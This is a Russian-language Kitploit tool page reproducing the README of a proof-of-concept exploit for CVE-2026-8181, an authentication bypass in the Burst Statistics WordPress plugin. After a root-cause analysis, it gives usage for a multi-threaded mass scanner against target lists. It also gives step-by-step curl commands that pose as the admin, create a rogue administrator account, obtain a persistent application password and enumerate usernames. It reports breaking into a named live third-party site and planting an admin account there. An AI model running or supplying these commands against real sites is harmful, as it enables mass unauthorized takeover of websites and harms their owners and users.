Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Неаутентифицированный обход аутентификации до захвата учетной записи администратора | Доказательство концепции | Kitploit
Инструменты/GitHubGitHub/zycoder0day/cve-2026-8181
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеАутентификацияОбучение и Образование
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Неаутентифицированный обход аутентификации до захвата учетной записи администратора | Доказательство концепции

Репозиторий
5794 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-8181 — Обход аутентификации Burst Statistics для захвата учетной записи администратора


📋 Информация об уязвимости

ПунктПодробности
CVE IDCVE-2026-8181
ПлагинBurst Statistics – WordPress-аналитика, уважающая конфиденциальность
Затронутые версии3.4.0 – 3.4.1.1
Исправленная версия3.4.2
Оценка CVSS9.8 (Critical)
ТипCWE-287: Improper Authentication
Вектор атакиNetwork / Remote / Unauthenticated
Активные установки~200,000+
ОбнаружилиPRISM, Wordfence Threat Intelligence
Дата публикации8 мая 2026

🎯 Краткое описание

Критическая уязвимость обхода аутентификации в плагине Burst Statistics для WordPress версий с 3.4.0 по 3.4.1.1 позволяет неавторизованному злоумышленнику получить полный доступ администратора WordPress, зная только имя пользователя администратора. Последствия — полный захват учетной записи администратора, включая создание новых учетных записей, изменение контента и установку вредоносных плагинов.


🔬 Технический анализ

Корневая причина

Уязвимость находится в методе is_mainwp_authenticated() в файле includes/Frontend/class-mainwp-proxy.php:

// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Основная ошибка: wp_authenticate_application_password(null, $username, $password) возвращает null (не WP_Error), когда Application Passwords недоступны. Это происходит на:

  • Сайтах по HTTP (не HTTPS), где wp_is_application_passwords_available() возвращает false
  • Сайтах, где is_ssl() возвращает false

Поскольку is_wp_error(null) = false, код продолжает выполнение до get_user_by('login', $username), который аутентифицирует только по имени пользователя без какой-либо проверки пароля.

Раннее выполнение

Метод has_admin_access() вызывается при хуке plugins_loaded (приоритет 9) в class-burst.php на строке 118:

if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Этот хук выполняется ДО обработки маршрутов REST API, поэтому wp_set_current_user() предоставляет права администратора для ВСЕГО запроса — а не только для конечных точек Burst.

Схема атаки

Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 Доказательство концепции

Предварительные требования

  • Цель работает по HTTP (не HTTPS, или SSL не обнаружен правильно)
  • Плагин Burst Statistics версии 3.4.0 – 3.4.1.1 установлен и активен
  • Известно имя пользователя администратора (можно перечислить)

Установка

pip3 install requests

Использование — одиночная цель

# Базовое сканирование
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Создать новую учетную запись администратора
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# С пользовательским именем
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Использование — несколько целей (массовый сканер)

python3 poc_CVE-2026-8181.py

Интерактивный режим:

  1. Введите файл со списком целей (.txt, один домен на строку)
  2. Установите количество потоков (по умолчанию: 50)
  3. Установите учетные данные для новой учетной записи
  4. Запустите сканирование

Формат targets.txt:

target1.com
target2.com
192.168.1.100
subdomain.example.org

Минимальный PoC (curl)

# Шаг 1: Проверка обхода аутентификации
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Шаг 2: Создать новую учетную запись администратора
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Шаг 3: Получить пароль приложения (постоянные учетные данные)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Перечисление имени пользователя администратора

# Метод 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Метод 2: Запасной маршрут
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Метод 3: Перечисление авторов
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Проверка результатов

Тестирование проводилось на WordPress 6.9 с Burst Statistics 3.4.1.1 (localhost):

ТестРезультатДоказательство
Доступ к /wp/v2/users/me без аутентификацииНЕУДАЧАrest_not_logged_in
Доступ с заголовками обходаУСПЕШНОПрофиль администратора + email + роли
Создание новой учетной записи администратораУСПЕШНОUser ID 2, роль: administrator
Чтение настроек WordPressУСПЕШНОНазвание сайта, email администратора, URL
Получение пароля приложенияУСПЕШНОТокен Base64 admin:password
Список установленных плагиновУСПЕШНОПолный список с версиями

Проверка на живом целевом сайте

ЦельРезультат
ausdermitte-binz.deУСПЕШНО ВЗЛОМАН — Burst 3.4.1.1, обход через binzwpadmin, создана учетная запись xenon1337 (ID:30)

🔧 Анализ исправления (v3.4.2)

Исправление в версии 3.4.2 устраняет несколько проблем:

Скачать инструмент